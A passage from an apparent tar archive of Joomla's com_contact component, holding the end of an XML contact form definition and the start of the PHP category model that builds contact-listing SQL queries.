			name="misc"
			type="editor"
			label="COM_CONTACT_FIELD_INFORMATION_MISC_LABEL"
			description="COM_CONTACT_FIELD_INFORMATION_MISC_DESC"
			filter="JComponentHelper::filterText"
			buttons="true"
			hide="readmore,pagebreak"
		/>

		<field
			name="created_by"
			type="user"
			label="JGLOBAL_FIELD_CREATED_BY_LABEL"
			description="COM_CONTACT_FIELD_CREATED_BY_DESC"
		/>

		<field
			name="created_by_alias"
			type="text"
			label="COM_CONTACT_FIELD_CREATED_BY_ALIAS_LABEL"
			description="COM_CONTACT_FIELD_CREATED_BY_ALIAS_DESC"
			size="20"
		/>

		<field
			name="created"
			type="calendar"
			label="COM_CONTACT_FIELD_CREATED_LABEL"
			description="COM_CONTACT_FIELD_CREATED_DESC"
			size="22"
			translateformat="true"
			showtime="true"
			filter="user_utc"
		/>

		<field
			name="modified"
			type="calendar"
			label="JGLOBAL_FIELD_MODIFIED_LABEL"
			description="COM_CONTACT_FIELD_MODIFIED_DESC"
			class="readonly"
			size="22"
			readonly="true"
			translateformat="true"
			showtime="true"
			filter="user_utc"
		/>

		<field
			name="modified_by"
			type="user"
			label="JGLOBAL_FIELD_MODIFIED_BY_LABEL"
			description="COM_CONTACT_FIELD_MODIFIED_BY_DESC"
			class="readonly"
			readonly="true"
			filter="unset"
		/>

		<field
			name="checked_out"
			type="hidden"
			filter="unset"
		/>

		<field
			name="checked_out_time"
			type="hidden"
			filter="unset"
		/>

		<field
			name="ordering"
			type="ordering"
			label="JFIELD_ORDERING_LABEL"
			description="JFIELD_ORDERING_DESC"
			content_type="com_contact.contact"
		/>

		<field
			name="publish_up"
			type="calendar"
			label="COM_CONTACT_FIELD_PUBLISH_UP_LABEL"
			description="COM_CONTACT_FIELD_PUBLISH_UP_DESC"
			translateformat="true"
			showtime="true"
			size="22"
			filter="user_utc"
		/>

		<field
			name="publish_down"
			type="calendar"
			label="COM_CONTACT_FIELD_PUBLISH_DOWN_LABEL"
			description="COM_CONTACT_FIELD_PUBLISH_DOWN_DESC"
			translateformat="true"
			showtime="true"
			size="22"
			filter="user_utc"
		/>

		<field
			name="metakey"
			type="textarea"
			label="JFIELD_META_KEYWORDS_LABEL"
			description="JFIELD_META_KEYWORDS_DESC"
			rows="3"
			cols="30"
		 />

		<field
			name="metadesc"
			type="textarea"
			label="JFIELD_META_DESCRIPTION_LABEL"
			description="JFIELD_META_DESCRIPTION_DESC"
			rows="3"
			cols="30"
		/>

		<field
			name="language"
			type="contentlanguage"
			label="JFIELD_LANGUAGE_LABEL"
			description="COM_CONTACT_FIELD_LANGUAGE_DESC"
			>
			<option value="*">JALL</option>
		</field>

		<field
			name="featured"
			type="radio"
			label="JFEATURED"
			description="COM_CONTACT_FIELD_FEATURED_DESC"
			default="0"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="tags"
			type="tag"
			label="JTAG"
			description="JTAG_DESC"
			class="span12"
			multiple="true"
		/>

		<field
			name="contact_icons"
			type="list"
			label="COM_CONTACT_FIELD_ICONS_SETTINGS"
			description="COM_CONTACT_FIELD_ICONS_SETTINGS_DESC"
			default="0"
			>
			<option value="0">COM_CONTACT_FIELD_VALUE_NONE</option>
			<option value="1">COM_CONTACT_FIELD_VALUE_TEXT</option>
			<option value="2">COM_CONTACT_FIELD_VALUE_ICONS</option>
		</field>

		<field
			name="icon_address"
			type="media"
			label="COM_CONTACT_FIELD_ICONS_ADDRESS_LABEL"
			description="COM_CONTACT_FIELD_ICONS_ADDRESS_DESC"
			hide_none="1"
		/>

		<field
			name="icon_email"
			type="media"
			label="COM_CONTACT_FIELD_ICONS_EMAIL_LABEL"
			description="COM_CONTACT_FIELD_ICONS_EMAIL_DESC"
			hide_none="1"
		/>

		<field
			name="icon_telephone"
			type="media"
			label="COM_CONTACT_FIELD_ICONS_TELEPHONE_LABEL"
			description="COM_CONTACT_FIELD_ICONS_TELEPHONE_DESC"
			hide_none="1"
		/>

		<field
			name="icon_mobile"
			type="media"
			label="COM_CONTACT_FIELD_ICONS_MOBILE_LABEL"
			description="COM_CONTACT_FIELD_ICONS_MOBILE_DESC"
			hide_none="1"
		/>

		<field
			name="icon_fax"
			type="media"
			label="COM_CONTACT_FIELD_ICONS_FAX_LABEL"
			description="COM_CONTACT_FIELD_ICONS_FAX_DESC"
			hide_none="1"
		/>

		<field
			name="icon_misc"
			type="media"
			label="COM_CONTACT_FIELD_ICONS_MISC_LABEL"
			description="COM_CONTACT_FIELD_ICONS_MISC_DESC"
			hide_none="1"
		/>
	</fieldset>

	<fieldset name="details" label="COM_CONTACT_CONTACT_DETAILS">

		<field
			name="image"
			type="media"
			label="COM_CONTACT_FIELD_PARAMS_IMAGE_LABEL"
			description="COM_CONTACT_FIELD_PARAMS_IMAGE_DESC"
			hide_none="1"
		/>

		<field
			name="con_position"
			type="text"
			label="COM_CONTACT_FIELD_INFORMATION_POSITION_LABEL"
			description="COM_CONTACT_FIELD_INFORMATION_POSITION_DESC"
			size="30"
		/>

		<field
			name="email_to"
			type="email"
			label="JGLOBAL_EMAIL"
			description="COM_CONTACT_FIELD_INFORMATION_EMAIL_DESC"
			size="30"
		/>

		<field
			name="address"
			type="textarea"
			label="COM_CONTACT_FIELD_INFORMATION_ADDRESS_LABEL"
			description="COM_CONTACT_FIELD_INFORMATION_ADDRESS_DESC"
			rows="3"
			cols="30"
		/>

		<field
			name="suburb"
			type="text"
			label="COM_CONTACT_FIELD_INFORMATION_SUBURB_LABEL"
			description="COM_CONTACT_FIELD_INFORMATION_SUBURB_DESC"
			size="30"
		/>

		<field
			name="state"
			type="text"
			label="COM_CONTACT_FIELD_INFORMATION_STATE_LABEL"
			description="COM_CONTACT_FIELD_INFORMATION_STATE_DESC"
			size="30"
		/>

		<field
			name="postcode"
			type="text"
			label="COM_CONTACT_FIELD_INFORMATION_POSTCODE_LABEL"
			description="COM_CONTACT_FIELD_INFORMATION_POSTCODE_DESC"
			size="30"
		/>

		<field
			name="country"
			type="text"
			label="COM_CONTACT_FIELD_INFORMATION_COUNTRY_LABEL"
			description="COM_CONTACT_FIELD_INFORMATION_COUNTRY_DESC"
			size="30"
		/>

		<field
			name="telephone"
			type="text"
			label="COM_CONTACT_FIELD_INFORMATION_TELEPHONE_LABEL"
			description="COM_CONTACT_FIELD_INFORMATION_TELEPHONE_DESC"
			size="30"
		/>

		<field
			name="mobile"
			type="text"
			label="COM_CONTACT_FIELD_INFORMATION_MOBILE_LABEL"
			description="COM_CONTACT_FIELD_INFORMATION_MOBILE_DESC"
			size="30"
		/>

		<field
			name="fax"
			type="text"
			label="COM_CONTACT_FIELD_INFORMATION_FAX_LABEL"
			description="COM_CONTACT_FIELD_INFORMATION_FAX_DESC"
			size="30"
		/>

		<field
			name="webpage"
			type="url"
			label="COM_CONTACT_FIELD_INFORMATION_WEBPAGE_LABEL"
			description="COM_CONTACT_FIELD_INFORMATION_WEBPAGE_DESC"
			size="30"
			filter="url"
			validate="url"
		/>

		<field
			name="sortname1"
			type="text"
			label="COM_CONTACT_FIELD_SORTNAME1_LABEL"
			description="COM_CONTACT_FIELD_SORTNAME1_DESC"
			size="30"
		/>

		<field
			name="sortname2"
			type="text"
			label="COM_CONTACT_FIELD_SORTNAME2_LABEL"
			description="COM_CONTACT_FIELD_SORTNAME2_DESC"
			size="30"
		/>

		<field
			name="sortname3"
			type="text"
			label="COM_CONTACT_FIELD_SORTNAME3_LABEL"
			description="COM_CONTACT_FIELD_SORTNAME3_DESC"
			size="30"
		/>
	</fieldset>

	<fields name="params" label="JGLOBAL_FIELDSET_DISPLAY_OPTIONS">

		<fieldset name="display" label="JGLOBAL_FIELDSET_DISPLAY_OPTIONS"
			 addfieldpath="/administrator/components/com_fields/models/fields">

			<field
				name="show_contact_category"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_LABEL"
				description="COM_CONTACT_FIELD_SHOW_CATEGORY_DESC"
				class="chzn-color"
				useglobal="true"
				>
				<option value="hide">JHIDE</option>
				<option value="show_no_link">COM_CONTACT_FIELD_VALUE_NO_LINK</option>
				<option value="show_with_link">COM_CONTACT_FIELD_VALUE_WITH_LINK</option>
			</field>

			<field
				name="show_contact_list"
				type="list"
				label="COM_CONTACT_FIELD_CONTACT_SHOW_LIST_LABEL"
				description="COM_CONTACT_FIELD_CONTACT_SHOW_LIST_DESC"
				class="chzn-color"
				useglobal="true"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="presentation_style"
				type="list"
				label="COM_CONTACT_FIELD_PRESENTATION_LABEL"
				description="COM_CONTACT_FIELD_PRESENTATION_DESC"
				useglobal="true"
				>
				<option value="sliders">COM_CONTACT_FIELD_VALUE_SLIDERS</option>
				<option value="tabs">COM_CONTACT_FIELD_VALUE_TABS</option>
				<option value="plain">COM_CONTACT_FIELD_VALUE_PLAIN</option>
			</field>

			<field
				name="show_tags"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_TAGS_LABEL"
				description="COM_CONTACT_FIELD_SHOW_TAGS_DESC"
				class="chzn-color"
				useglobal="true"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_info"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_INFO_LABEL"
				description="COM_CONTACT_FIELD_SHOW_INFO_DESC"
				class="chzn-color"
				useglobal="true"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_name"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_NAME_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_NAME_DESC"
				class="chzn-color"
				useglobal="true"
				showon="show_info:1"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_position"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_DESC"
				class="chzn-color"
				useglobal="true"
				showon="show_info:1"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_email"
				type="list"
				label="JGLOBAL_EMAIL"
				description="COM_CONTACT_FIELD_PARAMS_CONTACT_E_MAIL_DESC"
				class="chzn-color"
				useglobal="true"
				showon="show_info:1"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="add_mailto_link"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_ADD_MAILTO_LINK_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_ADD_MAILTO_LINK_DESC"
				class="chzn-color"
				useglobal="true"
				showon="show_info:1"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="show_street_address"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_DESC"
				class="chzn-color"
				useglobal="true"
				showon="show_info:1"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_suburb"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_DESC"
				class="chzn-color"
				useglobal="true"
				showon="show_info:1"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_state"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_DESC"
				class="chzn-color"
				useglobal="true"
				showon="show_info:1"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_postcode"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_DESC"
				class="chzn-color"
				useglobal="true"
				showon="show_info:1"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_country"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_COUNTRY_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_COUNTRY_DESC"
				class="chzn-color"
				useglobal="true"
				showon="show_info:1"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_telephone"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_TELEPHONE_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_TELEPHONE_DESC"
				class="chzn-color"
				useglobal="true"
				showon="show_info:1"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_mobile"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_MOBILE_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_MOBILE_DESC"
				class="chzn-color"
				useglobal="true"
				showon="show_info:1"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_fax"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_FAX_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_FAX_DESC"
				class="chzn-color"
				useglobal="true"
				showon="show_info:1"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_webpage"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_WEBPAGE_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_WEBPAGE_DESC"
				class="chzn-color"
				useglobal="true"
				showon="show_info:1"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_image"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_SHOW_IMAGE_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_SHOW_IMAGE_DESC"
				class="chzn-color"
				useglobal="true"
				showon="show_info:1"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_misc"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_MISC_INFO_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_MISC_INFO_DESC"
				class="chzn-color"
				useglobal="true"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="allow_vcard"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_VCARD_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_VCARD_DESC"
				class="chzn-color"
				useglobal="true"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_articles"
				type="list"
				label="COM_CONTACT_FIELD_ARTICLES_SHOW_LABEL"
				description="COM_CONTACT_FIELD_ARTICLES_SHOW_DESC"
				class="chzn-color"
				useglobal="true"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="articles_display_num"
				type="list"
				label="COM_CONTACT_FIELD_ARTICLES_DISPLAY_NUM_LABEL"
				description="COM_CONTACT_FIELD_ARTICLES_DISPLAY_NUM_DESC"
				default=""
				useglobal="true"
				>
				<option value="5">J5</option>
				<option value="10">J10</option>
				<option value="15">J15</option>
				<option value="20">J20</option>
				<option value="25">J25</option>
				<option value="30">J30</option>
				<option value="50">J50</option>
				<option value="75">J75</option>
				<option value="100">J100</option>
				<option value="150">J150</option>
				<option value="200">J200</option>
				<option value="250">J250</option>
				<option value="300">J300</option>
				<option value="0">JALL</option>
			</field>

			<field
				name="show_profile"
				type="list"
				label="COM_CONTACT_FIELD_PROFILE_SHOW_LABEL"
				description="COM_CONTACT_FIELD_PROFILE_SHOW_DESC"
				class="chzn-color"
				useglobal="true"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_user_custom_fields"
				type="fieldgroups"
				label="COM_CONTACT_FIELD_USER_CUSTOM_FIELDS_SHOW_LABEL"
				description="COM_CONTACT_FIELD_USER_CUSTOM_FIELDS_SHOW_DESC"
				multiple="true"
				context="com_users.user"
				>
				<option value="-1">JALL</option>
			</field>

			<field
				name="show_links"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_LINKS_LABEL"
				description="COM_CONTACT_FIELD_SHOW_LINKS_DESC"
				class="chzn-color"
				useglobal="true"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="linka_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKA_NAME_LABEL"
				description="COM_CONTACT_FIELD_LINK_NAME_DESC"
				size="30"
			/>

			<field
				name="linka"
				type="url"
				label="COM_CONTACT_FIELD_LINKA_LABEL"
				description="COM_CONTACT_FIELD_LINKA_DESC"
				size="30"
				filter="url"
				validate="url"
			/>

			<field
				name="linkb_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKB_NAME_LABEL"
				description="COM_CONTACT_FIELD_LINK_NAME_DESC"
				size="30"
			/>

			<field
				name="linkb"
				type="url"
				label="COM_CONTACT_FIELD_LINKB_LABEL"
				description="COM_CONTACT_FIELD_LINKB_DESC"
				size="30"
				filter="url"
				validate="url"
			/>

			<field
				name="linkc_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKC_NAME_LABEL"
				description="COM_CONTACT_FIELD_LINK_NAME_DESC"
				size="30"
			/>

			<field
				name="linkc"
				type="url"
				label="COM_CONTACT_FIELD_LINKC_LABEL"
				description="COM_CONTACT_FIELD_LINKC_DESC"
				size="30"
				filter="url"
				validate="url"
			/>

			<field
				name="linkd_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKD_NAME_LABEL"
				description="COM_CONTACT_FIELD_LINK_NAME_DESC"
				size="30"
			/>

			<field
				name="linkd"
				type="url"
				label="COM_CONTACT_FIELD_LINKD_LABEL"
				description="COM_CONTACT_FIELD_LINKD_DESC"
				size="30"
				filter="url"
				validate="url"
			/>

			<field
				name="linke_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKE_NAME_LABEL"
				description="COM_CONTACT_FIELD_LINK_NAME_DESC"
				size="30"
			/>

			<field
				name="linke"
				type="url"
				label="COM_CONTACT_FIELD_LINKE_LABEL"
				description="COM_CONTACT_FIELD_LINKE_DESC"
				size="30"
				filter="url"
				validate="url"
			/>

			<field
				name="contact_layout"
				type="componentlayout"
				label="JFIELD_ALT_LAYOUT_LABEL"
				description="JFIELD_ALT_COMPONENT_LAYOUT_DESC"
				extension="com_contact"
				view="contact"
				useglobal="true"
			/>
		</fieldset>

		<fieldset name="email" label="COM_CONTACT_FIELDSET_CONTACT_LABEL">

			<field
				name="show_email_form"
				type="list"
				label="COM_CONTACT_FIELD_EMAIL_SHOW_FORM_LABEL"
				description="COM_CONTACT_FIELD_EMAIL_SHOW_FORM_DESC"
				class="chzn-color"
				useglobal="true"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_email_copy"
				type="list"
				label="COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_LABEL"
				description="COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_DESC"
				class="chzn-color"
				useglobal="true"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="validate_session"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_LABEL"
				description="COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_DESC"
				class="chzn-color"
				useglobal="true"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="custom_reply"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_LABEL"
				description="COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_DESC"
				class="chzn-color"
				useglobal="true"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="redirect"
				type="text"
				label="COM_CONTACT_FIELD_CONFIG_REDIRECT_LABEL"
				description="COM_CONTACT_FIELD_CONFIG_REDIRECT_DESC"
				size="30"
			/>
		</fieldset>
	</fields>

	<fields name="metadata" label="JGLOBAL_FIELDSET_METADATA_OPTIONS">

		<fieldset name="jmetadata" label="JGLOBAL_FIELDSET_METADATA_OPTIONS">

			<field
				name="robots"
				type="list"
				label="JFIELD_METADATA_ROBOTS_LABEL"
				description="JFIELD_METADATA_ROBOTS_DESC"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="index, follow"></option>
				<option value="noindex, follow"></option>
				<option value="index, nofollow"></option>
				<option value="noindex, nofollow"></option>
			</field>

			<field
				name="rights"
				type="text"
				label="JFIELD_METADATA_RIGHTS_LABEL"
				description="JFIELD_METADATA_RIGHTS_DESC"
				size="20"
			/>
		</fieldset>
	</fields>

	<field
		name="hits"
		type="number"
		label="JGLOBAL_HITS"
		description="COM_CONTACT_HITS_DESC"
		class="readonly"
		size="6"
		readonly="true"
		filter="unset"
	/>

	<field
		name="version"
		type="text"
		label="COM_CONTACT_FIELD_VERSION_LABEL"
		description="COM_CONTACT_FIELD_VERSION_DESC"
		class="readonly"
		size="6"
		readonly="true"
		filter="unset"
	/>
</form>
com_contact/models/category.php000060400000025453152453734460012670 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

/**
 * Single item model for a contact
 *
 * @package     Joomla.Site
 * @subpackage  com_contact
 * @since       1.5
 */
class ContactModelCategory extends JModelList
{
	/**
	 * Category items data
	 *
	 * @var array
	 */
	protected $_item = null;

	protected $_articles = null;

	protected $_siblings = null;

	protected $_children = null;

	protected $_parent = null;

	/**
	 * The category that applies.
	 *
	 * @access    protected
	 * @var        object
	 */
	protected $_category = null;

	/**
	 * The list of other contact categories.
	 *
	 * @access    protected
	 * @var       array
	 */
	protected $_categories = null;

	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id',
				'name', 'a.name',
				'con_position', 'a.con_position',
				'suburb', 'a.suburb',
				'state', 'a.state',
				'country', 'a.country',
				'ordering', 'a.ordering',
				'sortname',
				'sortname1', 'a.sortname1',
				'sortname2', 'a.sortname2',
				'sortname3', 'a.sortname3'
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to get a list of items.
	 *
	 * @return  mixed  An array of objects on success, false on failure.
	 */
	public function getItems()
	{
		// Invoke the parent getItems method to get the main list
		$items = parent::getItems();

		// Convert the params field into an object, saving original in _params
		for ($i = 0, $n = count($items); $i < $n; $i++)
		{
			$item = &$items[$i];

			if (!isset($this->_params))
			{
				$item->params = new Registry($item->params);
			}

			// Some contexts may not use tags data at all, so we allow callers to disable loading tag data
			if ($this->getState('load_tags', true))
			{
				$this->tags = new JHelperTags;
				$this->tags->getItemTags('com_contact.contact', $item->id);
			}
		}

		return $items;
	}

	/**
	 * Method to build an SQL query to load the list data.
	 *
	 * @return  string    An SQL query
	 *
	 * @since   1.6
	 */
	protected function getListQuery()
	{
		$user = JFactory::getUser();
		$groups = implode(',', $user->getAuthorisedViewLevels());

		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		// Select required fields from the categories.
		// Changes for sqlsrv
		$case_when = ' CASE WHEN ';
		$case_when .= $query->charLength('a.alias', '!=', '0');
		$case_when .= ' THEN ';
		$a_id = $query->castAsChar('a.id');
		$case_when .= $query->concatenate(array($a_id, 'a.alias'), ':');
		$case_when .= ' ELSE ';
		$case_when .= $a_id . ' END as slug';

		$case_when1 = ' CASE WHEN ';
		$case_when1 .= $query->charLength('c.alias', '!=', '0');
		$case_when1 .= ' THEN ';
		$c_id = $query->castAsChar('c.id');
		$case_when1 .= $query->concatenate(array($c_id, 'c.alias'), ':');
		$case_when1 .= ' ELSE ';
		$case_when1 .= $c_id . ' END as catslug';
		$query->select($this->getState('list.select', 'a.*') . ',' . $case_when . ',' . $case_when1)
		/**
		 * TODO: we actually should be doing it but it's wrong this way
		 *	. ' CASE WHEN CHAR_LENGTH(a.alias) THEN CONCAT_WS(\':\', a.id, a.alias) ELSE a.id END as slug, '
		 *	. ' CASE WHEN CHAR_LENGTH(c.alias) THEN CONCAT_WS(\':\', c.id, c.alias) ELSE c.id END AS catslug ');
		 */
			->from($db->quoteName('#__contact_details') . ' AS a')
			->join('LEFT', '#__categories AS c ON c.id = a.catid')
			->where('a.access IN (' . $groups . ')');

		// Filter by category.
		if ($categoryId = $this->getState('category.id'))
		{
			$query->where('a.catid = ' . (int) $categoryId)
				->where('c.access IN (' . $groups . ')');
		}

		// Join over the users for the author and modified_by names.
		$query->select("CASE WHEN a.created_by_alias > ' ' THEN a.created_by_alias ELSE ua.name END AS author")
			->select('ua.email AS author_email')

			->join('LEFT', '#__users AS ua ON ua.id = a.created_by')
			->join('LEFT', '#__users AS uam ON uam.id = a.modified_by');

		// Filter by state
		$state = $this->getState('filter.published');

		if (is_numeric($state))
		{
			$query->where('a.published = ' . (int) $state);
		}
		else
		{
			$query->where('(a.published IN (0,1,2))');
		}

		// Filter by start and end dates.
		$nullDate = $db->quote($db->getNullDate());
		$nowDate = $db->quote(JFactory::getDate()->toSql());

		if ($this->getState('filter.publish_date'))
		{
			$query->where('(a.publish_up = ' . $nullDate . ' OR a.publish_up <= ' . $nowDate . ')')
				->where('(a.publish_down = ' . $nullDate . ' OR a.publish_down >= ' . $nowDate . ')');
		}

		// Filter by search in title
		$search = $this->getState('list.filter');

		if (!empty($search))
		{
			$search = $db->quote('%' . $db->escape($search, true) . '%');
			$query->where('(a.name LIKE ' . $search . ')');
		}

		// Filter by language
		if ($this->getState('filter.language'))
		{
			$query->where('a.language in (' . $db->quote(JFactory::getLanguage()->getTag()) . ',' . $db->quote('*') . ')');
		}

		// Set sortname ordering if selected
		if ($this->getState('list.ordering') === 'sortname')
		{
			$query->order($db->escape('a.sortname1') . ' ' . $db->escape($this->getState('list.direction', 'ASC')))
				->order($db->escape('a.sortname2') . ' ' . $db->escape($this->getState('list.direction', 'ASC')))
				->order($db->escape('a.sortname3') . ' ' . $db->escape($this->getState('list.direction', 'ASC')));
		}
		else
		{
			$query->order($db->escape($this->getState('list.ordering', 'a.ordering')) . ' ' . $db->escape($this->getState('list.direction', 'ASC')));
		}

		return $query;
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		$app = JFactory::getApplication();
		$params = JComponentHelper::getParams('com_contact');

		// List state information
		$format = $app->input->getWord('format');

		if ($format === 'feed')
		{
			$limit = $app->get('feed_limit');
		}
		else
		{
			$limit = $app->getUserStateFromRequest('global.list.limit', 'limit', $app->get('list_limit'), 'uint');
		}

		$this->setState('list.limit', $limit);

		$limitstart = $app->input->get('limitstart', 0, 'uint');
		$this->setState('list.start', $limitstart);

		// Optional filter text
		$itemid = $app->input->get('Itemid', 0, 'int');
		$search = $app->getUserStateFromRequest('com_contact.category.list.' . $itemid . '.filter-search', 'filter-search', '', 'string');
		$this->setState('list.filter', $search);

		// Get list ordering default from the parameters
		$menuParams = new Registry;

		if ($menu = $app->getMenu()->getActive())
		{
			$menuParams->loadString($menu->params);
		}

		$mergedParams = clone $params;
		$mergedParams->merge($menuParams);

		$orderCol = $app->input->get('filter_order', $mergedParams->get('initial_sort', 'ordering'));

		if (!in_array($orderCol, $this->filter_fields))
		{
			$orderCol = 'ordering';
		}

		$this->setState('list.ordering', $orderCol);

		$listOrder = $app->input->get('filter_order_Dir', 'ASC');

		if (!in_array(strtoupper($listOrder), array('ASC', 'DESC', '')))
		{
			$listOrder = 'ASC';
		}

		$this->setState('list.direction', $listOrder);

		$id = $app->input->get('id', 0, 'int');
		$this->setState('category.id', $id);

		$user = JFactory::getUser();

		if ((!$user->authorise('core.edit.state', 'com_contact')) && (!$user->authorise('core.edit', 'com_contact')))
		{
			// Limit to published for people who can't edit or edit.state.
			$this->setState('filter.published', 1);

			// Filter by start and end dates.
			$this->setState('filter.publish_date', true);
		}

		$this->setState('filter.language', JLanguageMultilang::isEnabled());

		// Load the parameters.
		$this->setState('params', $params);
	}

	/**
	 * Method to get category data for the current category
	 *
	 * @return  object  The category object
	 *
	 * @since   1.5
	 */
	public function getCategory()
	{
		if (!is_object($this->_item))
		{
			$app = JFactory::getApplication();
			$menu = $app->getMenu();
			$active = $menu->getActive();
			$params = new Registry;

			if ($active)
			{
				$params->loadString($active->params);
			}

			$options = array();
			$options['countItems'] = $params->get('show_cat_items', 1) || $params->get('show_empty_categories', 0);
			$categories = JCategories::getInstance('Contact', $options);
			$this->_item = $categories->get($this->getState('category.id', 'root'));

			if (is_object($this->_item))
			{
				$this->_children = $this->_item->getChildren();
				$this->_parent = false;

				if ($this->_item->getParent())
				{
					$this->_parent = $this->_item->getParent();
				}

				$this->_rightsibling = $this->_item->getSibling();
				$this->_leftsibling = $this->_item->getSibling(false);
			}
			else
			{
				$this->_children = false;
				$this->_parent = false;
			}
		}

		return $this->_item;
	}

	/**
	 * Get the parent category.
	 *
	 * @return  mixed  An array of categories or false if an error occurs.
	 */
	public function getParent()
	{
		if (!is_object($this->_item))
		{
			$this->getCategory();
		}

		return $this->_parent;
	}

	/**
	 * Get the sibling (adjacent) categories.
	 *
	 * @return  mixed  An array of categories or false if an error occurs.
	 */
	public function &getLeftSibling()
	{
		if (!is_object($this->_item))
		{
			$this->getCategory();
		}

